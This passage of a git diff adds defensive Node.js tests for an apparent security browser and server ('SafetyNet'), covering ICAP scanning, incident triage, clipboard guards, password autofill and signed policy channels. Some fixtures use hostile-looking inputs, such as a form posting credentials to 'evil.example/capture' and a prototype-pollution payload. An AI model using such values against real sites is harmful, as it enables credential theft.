fixture(t,{secure:true});assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');assert.equal((await scanIcap(Buffer.from('abc'),f.config,{ca:cert})).decision,'allow');assert.equal((await probeIcap(f.config,{ca:cert})).tls,true);}); +test('URL credentials, query strings and nonloopback plaintext require safe configuration',async()=>{for(const url of ['icap://user:secret@localhost/av','icap://localhost/av?token=secret','icap://example.com/av','icap://127.evil.example/av','icap://localhost:0/av','http://localhost/av'])assert.equal((await scanIcap(Buffer.from('abc'),{url})).decision,'block');}); +test('input mutation cannot alter bytes during negotiation and malformed oversized headers block',async t=>{const f=await fixture(t);const input=Buffer.from('abc');const pending=scanIcap(input,f.config);input.fill(120);assert.equal((await pending).decision,'allow');assert.ok(f.requests[1].includes(Buffer.from('3\r\nabc\r\n0\r\n\r\n')));const g=await fixture(t,{response:'ICAP/1.0 204 No Content\r\nX-Excess: '+ 'a'.repeat(33000)+'\r\n\r\n'});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).coverage.complete,false);}); diff --git a/tests/incidents.test.mjs b/tests/incidents.test.mjs new file mode 100644 index 0000000..5f3d237 --- /dev/null +++ b/tests/incidents.test.mjs @@ -0,0 +1,9 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {mkdtempSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join} from 'node:path';import {openStore,digest} from '../apps/server/store.mjs';import {createApp} from '../apps/server/app.mjs'; +async function fixture(t){const dir=mkdtempSync(join(tmpdir(),'safetynet-incidents-')),store=openStore(dir),origin='http://127.0.0.1:4310',server=createApp(store,{publicUrl:origin}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});return {store,api:async(path,method='GET',body,role='operator')=>{const token=`synthetic-incident-${role}-credential-1234567890`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(token),Date.now()+60000,JSON.stringify({sub:role,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}/api/admin/incidents${path}`,{method,headers:{cookie:`sn_session=${token}`,origin,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}};} +test('incident creates once from immutable event and detail strips payloads',async t=>{const {store,api}=await fixture(t);store.event('device','upload.blocked',{ruleId:'confidential',host:'example.test',prompt:'secret synthetic prompt',document:'secret synthetic document'});const a=await api('','POST',{eventId:1,severity:'high'});assert.equal(a.status,201);assert.equal(a.body.revision,1);assert.equal(a.body.event.metadata.prompt,undefined);assert.equal(a.body.event.metadata.document,undefined);assert.equal((await api('','POST',{eventId:1})).status,409);assert.equal((await api('','POST',{eventId:999})).status,404);const d=await api('/'+a.body.id);assert.equal(d.body.history.length,1);assert.equal(store.db.prepare('SELECT kind FROM events WHERE id=1').get().kind,'upload.blocked');assert.equal((await api('','POST',{eventId:2})).status,400);}); +test('triage is revision bound and comments remain outside ordinary audit/SIEM',async t=>{const {store,api}=await fixture(t);store.event(null,'clipboard.blocked',{});const a=await api('','POST',{eventId:1});const id=a.body.id,comment='Contacted owner; synthetic investigation note.';const b=await api('/'+id,'PATCH',{expectedRevision:1,status:'investigating',assignee:'analyst-sub',comment});assert.equal(b.status,200);assert.equal(b.body.revision,2);assert.equal((await api('/'+id,'PATCH',{expectedRevision:1,status:'resolved'})).status,409);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,comment:'x'.repeat(1001)})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,comment:'\u0000bad'})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,document:'payload'})).status,400);const d=await api('/'+id);assert.equal(d.body.history[1].comment,comment);const audit=store.db.prepare("SELECT metadata FROM events WHERE kind='incident.updated'").get().metadata;assert.equal(audit.includes(comment),false);assert.equal(JSON.parse(audit).commentLength,comment.length);assert.equal(JSON.parse(audit).commentSha256,undefined);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,assignee:'bad\nsubject'})).status,400);assert.equal((await api('/'+id,'PATCH',{expectedRevision:2,status:'resolved',assignee:null})).status,200);assert.equal((await api('/'+id,'PATCH',{expectedRevision:3,status:'open'})).status,200);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,4);}); +test('auditor cannot triage and unrecognized routes never gain permissions',async t=>{const {store,api}=await fixture(t);store.event(null,'dns.blocked',{});const a=await api('','POST',{eventId:1});assert.equal((await api('','GET',null,'auditor')).status,200);assert.equal((await api('/'+a.body.id,'GET',null,'auditor')).status,200);assert.equal((await api('','POST',{eventId:1},'auditor')).status,403);assert.equal((await api('/'+a.body.id,'PATCH',{expectedRevision:1,status:'resolved'},'auditor')).status,403);assert.equal((await api('/'+a.body.id,'DELETE')).status,403);assert.equal((await api('/not-a-uuid')).status,400);}); +test('filters and pagination are bounded and deterministic',async t=>{const {store,api}=await fixture(t);for(let i=0;i<3;i++){store.event(null,'upload.blocked',{});const source=store.db.prepare("SELECT id FROM events WHERE kind='upload.blocked' ORDER BY id DESC LIMIT 1").get();await api('','POST',{eventId:source.id,severity:i===0?'low':'high'});}const first=await api('?limit=1&severity=high');assert.equal(first.body.incidents.length,1);assert.ok(first.body.nextBefore);const next=await api('?limit=1&severity=high&before='+first.body.nextBefore);assert.equal(next.body.incidents.length,1);assert.notEqual(first.body.incidents[0].id,next.body.incidents[0].id);assert.equal(next.body.nextBefore,null);assert.equal((await api('?status=resolved')).body.incidents.length,0);assert.equal((await api('?limit=101')).status,400);assert.equal((await api('?status=bogus')).status,400);}); +test('audit failure rolls back case creation and triage history atomically',async t=>{const {store,api}=await fixture(t);store.event(null,'upload.blocked',{});const emit=store.event;store.event=()=>{throw Error('synthetic audit unavailable');};assert.equal((await api('','POST',{eventId:1})).status,500);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_cases').get().n,0);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,0);store.event=emit;const created=await api('','POST',{eventId:1});store.event=()=>{throw Error('synthetic audit unavailable');};assert.equal((await api('/'+created.body.id,'PATCH',{expectedRevision:1,status:'resolved'})).status,500);assert.equal(store.db.prepare('SELECT revision,status FROM incident_cases').get().revision,1);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM incident_changes').get().n,1);store.event=emit;}); + +test('real resolved incident retains source and immutable history through event retention',async t=>{const {store,api}=await fixture(t);store.event(null,'upload.blocked',{ruleId:'confidential'});const source=store.db.prepare('SELECT id FROM events ORDER BY id DESC LIMIT 1').get().id;const created=await api('','POST',{eventId:source});const resolved=await api('/'+created.body.id,'PATCH',{expectedRevision:1,status:'resolved',comment:'Synthetic resolution note'});assert.equal(resolved.status,200);store.db.prepare('UPDATE events SET time=?').run('2020-01-01T00:00:00.000Z');const {pruneAuditEvents}=await import('../apps/server/audit-retention.mjs');const result=pruneAuditEvents(store,{days:30,exportedThrough:100,dryRun:false});assert.ok(result.eligible>0);const detail=await api('/'+created.body.id);assert.equal(detail.status,200);assert.equal(detail.body.status,'resolved');assert.equal(detail.body.event.id,source);assert.equal(detail.body.history.length,2);assert.equal(detail.body.history[1].comment,'Synthetic resolution note');assert.equal(store.db.prepare('SELECT kind FROM events WHERE id=?').get(source).kind,'upload.blocked');}); diff --git a/tests/inspector-paths.test.mjs b/tests/inspector-paths.test.mjs new file mode 100644 index 0000000..0086ef2 --- /dev/null +++ b/tests/inspector-paths.test.mjs @@ -0,0 +1,27 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {mkdtempSync,mkdirSync,writeFileSync,rmSync,symlinkSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import path from 'node:path'; +const {privateInspectorPaths}=createRequire(import.meta.url)('../apps/browser/inspection.cjs'); +function fixture(t,packaged=false){ + const root=mkdtempSync(path.join(tmpdir(),'safetynet-inspector-paths-')); + const python=path.join(root,packaged?'python/python.exe':'.runtime/windows/python/python.exe'),script=path.join(root,packaged?'inspector/server.py':'apps/inspector/server.py'); + for(const file of [python,script]){mkdirSync(path.dirname(file),{recursive:true});writeFileSync(file,'synthetic fixture');} + t.after(()=>{assert.ok(path.resolve(root).startsWith(path.resolve(tmpdir())+path.sep));assert.ok(path.basename(root).startsWith('safetynet-inspector-paths-'));rmSync(root,{recursive:true,force:true});}); + return {root,python,script}; +} +test('inspector accepts only its own staged or packaged runtime and source',t=>{ + for(const packaged of [false,true]){const f=fixture(t,packaged);assert.deepEqual(privateInspectorPaths(f.root,packaged,{}),{python:f.python,script:f.script});assert.deepEqual(privateInspectorPaths(f.root,packaged,{SAFETYNET_PYTHON:f.python,SAFETYNET_INSPECTOR_SCRIPT:f.script}),{python:f.python,script:f.script});} +}); +test('external runtime and parser overrides are rejected without launching or granting access',t=>{ + const f=fixture(t),other=fixture(t); + assert.equal(privateInspectorPaths(f.root,false,{SAFETYNET_PYTHON:other.python}),null); + assert.equal(privateInspectorPaths(f.root,false,{SAFETYNET_INSPECTOR_SCRIPT:other.script}),null); + assert.equal(privateInspectorPaths(path.join(f.root,'missing'),false,{}),null); +}); +test('a linked installation root cannot redirect grants to another tree',t=>{ + const f=fixture(t),link=path.join(f.root,'linked-root');symlinkSync(f.root,link,process.platform==='win32'?'junction':'dir'); + assert.equal(privateInspectorPaths(link,false,{}),null); +}); diff --git a/tests/loopback-http.test.mjs b/tests/loopback-http.test.mjs new file mode 100644 index 0000000..9d76642 --- /dev/null +++ b/tests/loopback-http.test.mjs @@ -0,0 +1,19 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createServer} from 'node:http'; +import {createRequire} from 'node:module'; +const {postLoopback}=createRequire(import.meta.url)('../apps/browser/loopback-http.cjs'); +async function server(t,handler){const s=createServer(handler).listen(0,'127.0.0.1');await new Promise(r=>s.on('listening',r));t.after(()=>new Promise(r=>s.close(r)));return s.address().port;} +test('private local requests use direct authenticated loopback transport',async t=>{ + const port=await server(t,(req,res)=>{assert.equal(req.headers.authorization,'Bearer test-capability');assert.equal(req.url,'/inspect');let body='';req.on('data',data=>body+=data);req.on('end',()=>{assert.deepEqual(JSON.parse(body),{content:'private fixture'});res.end(JSON.stringify({decision:'allow'}));});}); + assert.equal((await postLoopback({port,route:'/inspect',token:'test-capability',body:{content:'private fixture'},signal:AbortSignal.timeout(2000)})).body.decision,'allow'); +}); +test('redirects cannot forward local capabilities or content',async t=>{ + let forwarded=0;const target=await server(t,(_req,res)=>{forwarded++;res.end('{}');}); + const port=await server(t,(_req,res)=>{res.writeHead(307,{location:`http://127.0.0.1:${target}/capture`});res.end('{}');}); + await assert.rejects(postLoopback({port,route:'/inspect',token:'private-capability',body:{content:'private'},signal:AbortSignal.timeout(2000)}),/redirects/);assert.equal(forwarded,0); +}); +test('oversized scanner replies fail closed',async t=>{ + const port=await server(t,(_req,res)=>res.end(JSON.stringify({data:'x'.repeat(4096)}))); + await assert.rejects(postLoopback({port,route:'/inspect',token:'test-capability',body:{},maxResponseBytes:100,signal:AbortSignal.timeout(2000)}),/budget/); +}); diff --git a/tests/managed-settings.test.mjs b/tests/managed-settings.test.mjs new file mode 100644 index 0000000..f6c28eb --- /dev/null +++ b/tests/managed-settings.test.mjs @@ -0,0 +1,32 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const {settingsState,sectionAllowed,featureAllowed,requireSection,validateAppearance}=createRequire(import.meta.url)('../apps/browser/managed-settings.cjs'); +const policy=(settings={})=>({expiresAt:new Date(Date.now()+60000).toISOString(),browser:{settings}}); +test('managed settings reject direct access before enrollment, while paused and after policy expiry',()=>{ + for(const context of [{ready:true},{policy:policy(),ready:false},{policy:{...policy(),expiresAt:new Date(0).toISOString()},ready:true}]){ + const state=settingsState(context);assert.equal(state.visible,false);assert.throws(()=>requireSection(state,'appearance')); + } +}); +test('hidden and locked sections deny operations while other sections remain available',()=>{ + const state=settingsState({ready:true,policy:policy({hiddenSections:['passwords'],lockedSections:['documentScan']})}); + assert.throws(()=>requireSection(state,'passwords'));assert.throws(()=>requireSection(state,'documentScan'));assert.equal(sectionAllowed(state,'ai'),true);assert.equal(sectionAllowed(state,'invented'),false); +}); +test('global hidden settings reject every direct section operation',()=>{ + const state=settingsState({ready:true,policy:policy({visible:false})}); + for(const section of ['appearance','library','ai','passwords','documentScan','agents'])assert.throws(()=>requireSection(state,section)); +}); +test('signed appearance replaces local overrides immediately when locked or hidden',()=>{ + const appearance={mode:'dark',accent:'violet',tabMode:'compact'},preferences={mode:'light',accent:'blue',tabMode:'separate'}; + for(const constraints of [{visible:false},{hiddenSections:['appearance']},{lockedSections:['appearance']}])assert.deepEqual(settingsState({ready:true,policy:policy({...constraints,appearance}),preferences}).appearance,appearance); + assert.deepEqual(settingsState({ready:true,policy:policy({appearance}),preferences}).appearance,preferences); +}); +test('appearance updates reject malformed values, unknown fields and prototype-shaped payloads',()=>{ + for(const value of [null,[],{},'dark',{mode:'auto'},{accent:'red'},{tabMode:'unknown'},{security:false},{__proto__:{mode:'dark'}}])assert.throws(()=>validateAppearance(value)); + assert.deepEqual(validateAppearance({mode:'system',accent:'teal'}),{mode:'system',accent:'teal'}); +}); + +test('hiding settings preserves approved feature use but explicit hidden or locked features deny access',()=>{ + const state=settingsState({ready:true,policy:policy({visible:false,hiddenSections:['passwords'],lockedSections:['agents']})}); + assert.equal(featureAllowed(state,'ai'),true);assert.equal(featureAllowed(state,'documentScan'),true);assert.equal(featureAllowed(state,'passwords'),false);assert.equal(featureAllowed(state,'agents'),false);assert.equal(sectionAllowed(state,'appearance'),false); +}); diff --git a/tests/network-posture.test.mjs b/tests/network-posture.test.mjs new file mode 100644 index 0000000..14c3e90 --- /dev/null +++ b/tests/network-posture.test.mjs @@ -0,0 +1,12 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const {resolverOptions,evaluatePosture,probeWindows,createNetworkPosture}=createRequire(import.meta.url)('../apps/browser/network-posture.cjs'); +test('system DNS preserves OS resolution and disables automatic DoH upgrades',()=>assert.deepEqual(resolverOptions(),{enableBuiltInResolver:false,secureDnsMode:'off',secureDnsServers:[]})); +test('managed secure DNS has no insecure fallback',()=>{assert.deepEqual(resolverOptions({mode:'secure',templates:['https://dns.example/dns-query{?dns}']}),{enableBuiltInResolver:true,secureDnsMode:'secure',secureDnsServers:['https://dns.example/dns-query{?dns}']});for(const templates of [[],['http://dns.example'],['https://user:pass@dns.example']])assert.throws(()=>resolverOptions({mode:'secure',templates}));}); +const vpn={required:true,interfaceNames:['Company VPN'],requiredDnsServers:['10.0.0.53']}; +test('required adapter and DNS must belong to the same active adapter',()=>{assert.equal(evaluatePosture(vpn,[{name:'company vpn',dns:['10.0.0.53']}]).allowed,true);assert.equal(evaluatePosture(vpn,[{name:'Company VPN',dns:[]},{name:'Wi-Fi',dns:['10.0.0.53']}]).allowed,false);assert.equal(evaluatePosture({...vpn,interfaceNames:[]},[]).allowed,false);assert.equal(evaluatePosture(vpn,null).allowed,false);}); +test('optional VPN makes no OS probe and concurrent checks share bounded work',async()=>{let calls=0;const gate=createNetworkPosture({probe:async()=>{calls++;await new Promise(r=>setTimeout(r,5));return [{name:'Company VPN',dns:['10.0.0.53']}];}});assert.equal((await gate.check({required:false})).allowed,true);assert.equal(calls,0);assert.deepEqual((await Promise.all([gate.check(vpn),gate.check(vpn)])).map(r=>r.allowed),[true,true]);assert.equal(calls,1);}); +test('failed network probe blocks and cannot approve required posture',async()=>{const gate=createNetworkPosture({probe:async()=>{throw Error('private diagnostic');}});assert.deepEqual(await gate.check(vpn),{allowed:false,reason:'probe-unavailable'});await assert.rejects(probeWindows({platform:'linux'}));}); +test('Windows probe uses static command and bounded hidden execution',async()=>{let captured;const result=await probeWindows({platform:'win32',run:(exe,args,options,done)=>{captured={exe,args,options};done(null,'[{"name":"VPN", "dns":[]}]');}});assert.equal(result[0].name,'VPN');assert.equal(captured.options.windowsHide,true);assert.equal(captured.options.timeout,10000);assert.equal(captured.options.maxBuffer,65536);assert.match(captured.args.at(-1),/Get-NetAdapter/);await assert.rejects(probeWindows({platform:'win32',run:(_exe,_args,_options,done)=>done(null,'{"name":"VPN"}')}));}); + diff --git a/tests/page-clipboard-guard.test.mjs b/tests/page-clipboard-guard.test.mjs new file mode 100644 index 0000000..a3438da --- /dev/null +++ b/tests/page-clipboard-guard.test.mjs @@ -0,0 +1,43 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {EventEmitter} from 'node:events'; +import {createRequire} from 'node:module'; +import vm from 'node:vm'; +const require=createRequire(import.meta.url); +const {attachPageClipboardGuard,guardedScreenshot,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); +const {capturePNG}=require('../apps/browser/visual-capture.cjs'); +function fixture(valid=true){ + const api=new EventEmitter(),commands=[];let attached=false,detaches=0,failures=0; + api.isAttached=()=>attached;api.attach=version=>{assert.equal(version,'1.3');attached=true;}; + api.detach=()=>{attached=false;detaches++;api.emit('detach');}; + const png=Buffer.from('Public bounded screenshot fixture'); + api.sendCommand=async(method,parameters)=>{commands.push({method,parameters});if(method==='Page.addScriptToEvaluateOnNewDocument')return valid?{identifier:'fixed-guard'}:{};if(method==='Page.captureScreenshot')return {data:png.toString('base64')};return {};}; + const contents={debugger:api,isDestroyed:()=>false}; + return {api,contents,commands,png,detachCount:()=>detaches,failureCount:()=>failures,initialize:()=>attachPageClipboardGuard(contents,()=>failures++)}; +} +test('static page guard registers only fixed initialization and shares screenshot without detaching',async()=>{ + const f=fixture();await f.initialize();assert.deepEqual(f.commands.map(c=>c.method),['Page.enable','Page.addScriptToEvaluateOnNewDocument']); + assert.equal(/require\(|ipcRenderer|process\./.test(f.commands[1].parameters.source),false); + assert.deepEqual(await capturePNG(f.contents),f.png);assert.equal(f.commands.at(-1).method,'Page.captureScreenshot');assert.equal(f.detachCount(),0); + disposePageClipboardGuard(f.contents);assert.equal(f.detachCount(),1);assert.equal(f.failureCount(),0);assert.equal(guardedScreenshot(f.contents,{}),null); +}); +test('unknown attachment and invalid initialization cannot gain trusted screenshot ownership',async()=>{ + const occupied=fixture();occupied.api.attach('1.3');await assert.rejects(occupied.initialize());assert.equal(occupied.commands.length,0); + const invalid=fixture(false);await assert.rejects(invalid.initialize());assert.equal(invalid.detachCount(),1);assert.equal(guardedScreenshot(invalid.contents,{}),null); +}); +test('unexpected disconnect revokes ownership and reports failure; deliberate disposal is idempotent',async()=>{ + const f=fixture();await f.initialize();f.api.detach();assert.equal(f.failureCount(),1);assert.equal(guardedScreenshot(f.contents,{}),null);disposePageClipboardGuard(f.contents);assert.equal(f.detachCount(),1); +}); +test('new-frame source freezes clipboard and replacement primitives against page tampering',async()=>{ + const f=fixture();await f.initialize();const native=[]; + class Document{execCommand(command){native.push(command);return true;}open(){return 'opened';}write(){}writeln(){}} + const listeners=[],realm={Document,DOMException,window:{addEventListener:(name,handler,capture)=>listeners.push({name,handler,capture})}}; + vm.createContext(realm);vm.runInContext(f.commands[1].parameters.source,realm); + const doc=new Document();for(const name of ['copy','cut','paste','PasteAndMatchStyle'])assert.equal(doc.execCommand(name),false); + assert.equal(doc.execCommand('insertText'),true);assert.deepEqual(native,['insertText']); + for(const name of ['open','write','writeln'])assert.throws(()=>doc[name](),error=>error.name==='SecurityError'); + vm.runInContext('Reflect.apply=()=>true;RegExp.prototype.test=()=>false;',realm);assert.equal(doc.execCommand('copy'),false); + assert.throws(()=>Object.defineProperty(Document.prototype,'execCommand',{value:()=>true})); + for(const name of ['copy','cut','paste','dragstart','drop']){let prevented=false,stopped=false;const listener=listeners.find(item=>item.name===name);assert.equal(listener.capture,true);listener.handler({preventDefault:()=>prevented=true,stopImmediatePropagation:()=>stopped=true});assert.equal(prevented&&stopped,true);} + disposePageClipboardGuard(f.contents); +}); diff --git a/tests/password-fill.test.mjs b/tests/password-fill.test.mjs new file mode 100644 index 0000000..2a9c682 --- /dev/null +++ b/tests/password-fill.test.mjs @@ -0,0 +1,30 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import vm from 'node:vm'; +import {createRequire} from 'node:module'; +const require=createRequire(import.meta.url),{fillScript}=require('../apps/browser/password-fill.cjs'); +const credential={origin:'https://work.example',username:'employee',password:'fixture-only-generated-password'}; +function fixture({url='https://work.example/login',action='https://work.example/signin',method='post',target='',visible=true,frame=false,multiple=false,override,focused=true,visibility='visible'}={}){ + class Input{constructor(type){this.type=type;this.name=type==='password'?'password':'username';this.autocomplete='';this.disabled=false;this.readOnly=false;}set value(value){this.stored=value;}get value(){return this.stored;}closest(){return null;}getClientRects(){return visible?[{}]:[];}dispatchEvent(){}} + const user=new Input('text'),password=new Input('password'); + const form={action,method,target,querySelectorAll:()=>[user,password]};user.form=form;password.form=form; + form.elements=override?[user,password,{getAttribute:name=>override[name]??null}]:[user,password]; + const window={isSecureContext:true};window.top=frame?{}:window; + return {user,password,context:vm.createContext({window,location:{href:url,origin:new URL(url).origin},document:{hasFocus:()=>focused,visibilityState:visibility,querySelectorAll:()=>multiple?[password,new Input('password')]:[password]},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'}),HTMLInputElement:Input,Event:class{},URL})}; +} +test('explicit fill sets exact-origin visible login fields without submitting',()=>{ + const f=fixture();assert.equal(vm.runInContext(fillScript('https://work.example/login',credential),f.context).completed,true);assert.equal(f.user.stored,credential.username);assert.equal(f.password.stored,credential.password); +}); +test('HTTP, subdomains and alternate ports cannot reuse saved credentials',()=>{ + for(const url of ['http://work.example/login','https://other.work.example/login','https://work.example:8443/login'])assert.throws(()=>fillScript(url,credential)); +}); +test('navigation, frames, cross-origin forms, GET, new-window, hidden and ambiguous targets fail before writing',()=>{ + for(const options of [{url:'https://work.example/changed'},{frame:true},{action:'https://evil.example/capture'},{action:'http://work.example/login'},{method:'get'},{target:'_blank'},{visible:false},{multiple:true},{override:{formaction:'https://evil.example/capture'}},{override:{formmethod:'get'}},{override:{formtarget:'_blank'}}]){ + const f=fixture(options);assert.throws(()=>vm.runInContext(fillScript('https://work.example/login',credential),f.context));assert.equal(f.user.stored,undefined);assert.equal(f.password.stored,undefined); + } +}); +test('expired policy cannot inject a password',()=>{assert.throws(()=>fillScript('https://work.example/login',credential,Date.now()-1));}); + +test('queued fill cannot write into a hidden or blurred target document',()=>{ + for(const options of [{focused:false},{visibility:'hidden'}]){const f=fixture(options);assert.throws(()=>vm.runInContext(fillScript('https://work.example/login',credential),f.context),/foreground/);assert.equal(f.user.stored,undefined);assert.equal(f.password.stored,undefined);} +}); diff --git a/tests/policy-assignment.test.mjs b/tests/policy-assignment.test.mjs new file mode 100644 index 0000000..d20c820 --- /dev/null +++ b/tests/policy-assignment.test.mjs @@ -0,0 +1,17 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {generateKeyPairSync} from 'node:crypto'; +import {defaultPolicy,signPolicy,verifyPolicy} from '../packages/core/policy.mjs'; +const {assertPolicyAssignment}=createRequire(import.meta.url)('../apps/browser/policy-assignment.cjs'); +test('signed effective policy cannot be reused for another enrolled device',()=>{ + const a='00000000-0000-4000-8000-000000000001',b='00000000-0000-4000-8000-000000000002'; + const keys=generateKeyPairSync('ed25519'); + const privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'}); + const p={...defaultPolicy(),assignment:{deviceId:a,groups:[]}}; + const verified=verifyPolicy(signPolicy(p,privateKey),publicKey); + assert.equal(assertPolicyAssignment(verified,a),verified); + assert.throws(()=>assertPolicyAssignment(verified,b),/device assignment rejected/); + const legacy=verifyPolicy(signPolicy(defaultPolicy(),privateKey),publicKey); + assert.equal(assertPolicyAssignment(legacy,a),legacy); +}); diff --git a/tests/policy-channel.test.mjs b/tests/policy-channel.test.mjs new file mode 100644 index 0000000..f960967 --- /dev/null +++ b/tests/policy-channel.test.mjs @@ -0,0 +1,61 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {generateKeyPairSync} from 'node:crypto'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import channel from '../packages/core/policy-channel.cjs'; +import browser from '../apps/browser/management-channel.cjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {verifyPolicy} from '../packages/core/policy.mjs'; +const ed=generateKeyPairSync('ed25519'),pq=generateKeyPairSync('ml-dsa-87'); +const edPublic=ed.publicKey.export({type:'spki',format:'pem'}),pqPublic=pq.publicKey.export({type:'spki',format:'pem'}); +const make=()=>channel.challenge('device-a',ed.privateKey,pq.privateKey); + +test('real ML-KEM-1024 and dual signatures protect policy bytes with separate AEAD directions',()=>{ + const identity=channel.identity(ed.privateKey,pq.privateKey,pqPublic);assert.equal(channel.verifyIdentity(identity,edPublic,pqPublic),pqPublic); + const {bundle,privateKey}=make();channel.verifyChallenge(bundle,'device-a',edPublic,pqPublic); + const client=channel.prepare(bundle),server=channel.receive(client.request,bundle,privateKey); + const value={payload:'confidential synthetic policy content',signature:'synthetic signature'}; + const response=channel.response(value,bundle,server);assert.equal(JSON.stringify(response).includes(value.payload),false);assert.deepEqual(channel.finish(response,bundle,client),value); + assert.throws(()=>channel.finish({...response,encrypted:client.request.encrypted},bundle,client)); + const modified=structuredClone(response);modified.encrypted.tag=Buffer.alloc(16).toString('base64url');assert.throws(()=>channel.finish(modified,bundle,client)); + client.responseKey.fill(0);server.responseKey.fill(0); +}); +test('channel rejects signature substitutions, different devices, expiry and unrecognized algorithms',()=>{ + const {bundle}=make();assert.throws(()=>channel.verifyChallenge(bundle,'device-b',edPublic,pqPublic)); + assert.throws(()=>channel.verifyChallenge(bundle,'device-a',edPublic,pqPublic,bundle.expiresAt)); + const other=generateKeyPairSync('ml-dsa-87').publicKey.export({type:'spki',format:'pem'});assert.throws(()=>channel.verifyChallenge(bundle,'device-a',edPublic,other)); + assert.throws(()=>channel.verifyChallenge({...bundle,version:'downgraded'},'device-a',edPublic,pqPublic)); + assert.throws(()=>channel.verifyChallenge({...bundle,extra:'untrusted'},'device-a',edPublic,pqPublic)); + assert.throws(()=>channel.verifyIdentity(channel.identity(ed.privateKey,pq.privateKey,pqPublic),edPublic,other)); +}); +test('ciphertext changes and response splicing never release a policy',()=>{ + const a=make(),b=make(),client=channel.prepare(a.bundle),other=channel.prepare(b.bundle),server=channel.receive(client.request,a.bundle,a.privateKey); + const altered=structuredClone(client.request);altered.encrypted.ciphertext=Buffer.from('invalid').toString('base64url');assert.throws(()=>channel.receive(altered,a.bundle,a.privateKey)); + assert.throws(()=>channel.receive({...client.request,deviceId:'device-b'},a.bundle,a.privateKey)); + assert.throws(()=>channel.finish(channel.response({payload:'safe'},a.bundle,server),b.bundle,other)); + const replayContext={...client,requestId:'different-request'};assert.throws(()=>channel.finish(channel.response({payload:'safe'},a.bundle,server),a.bundle,replayContext)); + client.responseKey.fill(0);other.responseKey.fill(0);server.responseKey.fill(0); +}); +test('real central channel denies plaintext, replay and cross-device access; browser never falls back',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-channel-')),store=openStore(directory),config={publicUrl:'http://127.0.0.1',secure:false,adminToken:'test-only-admin-credential-01234567890',requirePQManagement:true}; + const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>server.once('listening',resolve));const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{server.closeAllConnections();await new Promise(resolve=>server.close(resolve));store.db.close();assert.ok(directory.startsWith(join(tmpdir(),'safetynet-channel-')));rmSync(directory,{recursive:true,force:true});}); + async function api(route,body,credential){const response=await fetch(base+route,{method:body?'POST':'GET',headers:{...(body?{'content-type':'application/json'}:{}),...(credential?{authorization:`Bearer ${credential}`}:{})},body:body?JSON.stringify(body):undefined});return {status:response.status,value:await response.json()};} + async function enroll(name){const code='synthetic-enrollment-code-'+name;store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,name);const result=await api('/api/device/enroll',{code,name,platform:'win32'});assert.equal(result.status,200);return result.value;} + const a=await enroll('a'),b=await enroll('b');assert.equal(Object.hasOwn(a,'policy'),false,'Mandatory protected bootstrap must not disclose a plaintext policy');assert.equal((await api('/api/device/policy',null,a.token)).status,403); + assert.equal((await api('/api/admin/management-channel',null,a.token)).status,401); + const publicChannel=await api('/api/admin/management-channel',null,config.adminToken);assert.equal(publicChannel.status,200);assert.deepEqual(Object.keys(publicChannel.value).sort(),['requirePQManagement','signatureKey','version']);assert.equal(publicChannel.value.signatureKey,a.managementChannel.signatureKey);assert.equal(JSON.stringify(publicChannel.value).includes('PRIVATE KEY'),false); + const bundle=(await api('/api/device/channel/challenge',{},a.token)).value,context=channel.prepare(bundle); + assert.equal((await api('/api/device/channel/policy',context.request,b.token)).status,403); + const protectedResponse=await api('/api/device/channel/policy',context.request,a.token);assert.equal(protectedResponse.status,200); + assert.equal(verifyPolicy(channel.finish(protectedResponse.value,bundle,context),a.publicKey).version,1);context.responseKey.fill(0); + assert.equal((await api('/api/device/channel/policy',context.request,a.token)).status,403); + const device={server:base,id:a.id,token:a.token,publicKey:a.publicKey,channelSignatureKey:channel.verifyIdentity(a.managementChannel,a.publicKey)};const called=[]; + const request=async(_server,route,body,token)=>{called.push(route);const result=await api(route,body,token);if(result.status!==200)throw Error('Refused');return result.value;}; + const policy=await browser.protectedPolicyRequest({device,request,save:()=>assert.fail('Fresh enrollment must retain its signing pin')});assert.equal(verifyPolicy(policy,a.publicKey).version,1);assert.equal(called.includes('/api/device/policy'),false); + await 